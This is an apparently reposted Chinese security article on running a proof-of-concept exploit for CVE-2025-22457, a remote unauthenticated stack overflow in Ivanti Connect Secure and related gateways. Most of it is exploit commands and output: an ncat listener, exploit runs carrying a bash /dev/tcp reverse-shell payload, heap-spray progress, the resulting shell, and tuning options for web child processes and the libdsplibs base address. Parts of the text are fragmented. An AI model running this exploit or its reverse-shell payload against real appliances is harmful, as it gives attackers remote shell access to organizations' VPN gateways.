远程未经身份验证的基于堆栈的缓冲区溢出漏洞影响 Ivanti Connect Secure、Pulse Connect Secure、Ivanti Policy Secure 和 ZTA 网关。
针对存在漏洞的 Ivanti Connect Secure 目标(版本 22.7r2.4)运行此脚本,如下所示:
启动 netcat 监听器来捕获反向 shell。
C:>ncat -lnvkp 8080
C:>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080
[//192.168.86.111:443/ ] [+] Targeting https:
[192.168.86.35/8080 0>&1 ] [+] Payload: bash -i >& /dev/tcp/
[22.7.2.3597 ] [+] Detected version
[ ] [+] Starting...
[0, trying libdsplibs.so @ 0xf64ca000 ] [+] Attempt
[ ] Making connections...
[ ] Spraying...
[ ] Triggering..
C:>ncat -lnvkp 8080
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.86.111.
Ncat: Connection from 192.168.86.111:20746.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr)
bash-4.2$ uname -a
uname -a
Linux localhost2 4.17.00.35-selinux-jailing-production #1 SMP Tue Jun 18 16:25:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$
/home/bin/web
。由于所有传入的 HTTPS 请求都将均匀分布在这些子进程之间,我们需要考虑到这一点,并对所有子进程执行足够次数的堆喷射。我们需要这样做,因为当我们触发漏洞时,我们无法知道会在哪个子进程中触发它。因此,我们需要在每个子进程中都进行堆喷射。- 1 个 vCPU - 1 个 Web 进程,无子进程
- 2 个 vCPU - 1 个 Web 父节点,2 个子节点
- 4 个 vCPU - 1 个 Web 父级,4 个子级(这是默认值,对应于 Ivanti Connect Secure ISA4000-V 平台)
- 8 个 vCPU - 1 个 Web 父节点,8 个子节点(这对应于 Ivanti Connect Secure ISA6000-V 平台)
/home/bin/web
:bash-4.2# ps -Al | grep web
ps -Al | grep web
4 S 104 3012 2394 0 80 0 - 26313 - ? 00:00:00 web
4 S 104 3013 2394 0 80 0 - 24931 - ? 00:00:00 web80
1 S 104 4947 3012 2 80 0 - 28209 - ? 00:01:27 web
1 S 104 5217 3012 1 80 0 - 31527 - ? 00:00:49 web
1 S 104 5695 3012 0 80 0 - 28199 - ? 00:00:00 web
1 S 104 5715 3012 0 80 0 - 28199 - ? 00:00:00 web
bash-4.2#
--web_children
,例如:C:>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4
libdsplibs
基址。在这种情况下,您可以通过参数将已知的基址传递给 PoC --libdsplibs
。例如,在已 root 权限的易受攻击设备中,运行以下命令:bash-4.2# ps -A| grep web
ps -A| grep web
3200 ? 00:00:01 web80
20536 ? 00:00:02 web
bash-4.2# cat /proc/20536/maps | grep libdsplibs
cat /proc/20536/maps | grep libdsplibs
f642e000-f7994000 r-xp 00000000 fc:02 171879 /home/lib/libdsplibs.so
f7994000-f7995000 ---p 01566000 fc:02 171879 /home/lib/libdsplibs.so
f7995000-f79aa000 r--p 01566000 fc:02 171879 /home/lib/libdsplibs.so
f79aa000-f79e3000 rw-p 0157b000 fc:02 171879 /home/lib/libdsplibs.so
bash-4.2#
C:>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4 --libdsplibs 0xf642e000
[//192.168.86.111:443/ ] [+] Targeting https:
[192.168.86.35/8080 0>&1 ] [+] Payload: bash -i >& /dev/tcp/
[22.7.2.3597 ] [+] Detected version
[ ] [+] Starting...
[0, trying libdsplibs.so @ 0xf642e000 ] [+] Attempt
[ ] Making connections...
[ ] Spraying...
[ ] Triggering...
原文始发于微信公众号(Khan安全团队):CVE-2025-22457
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论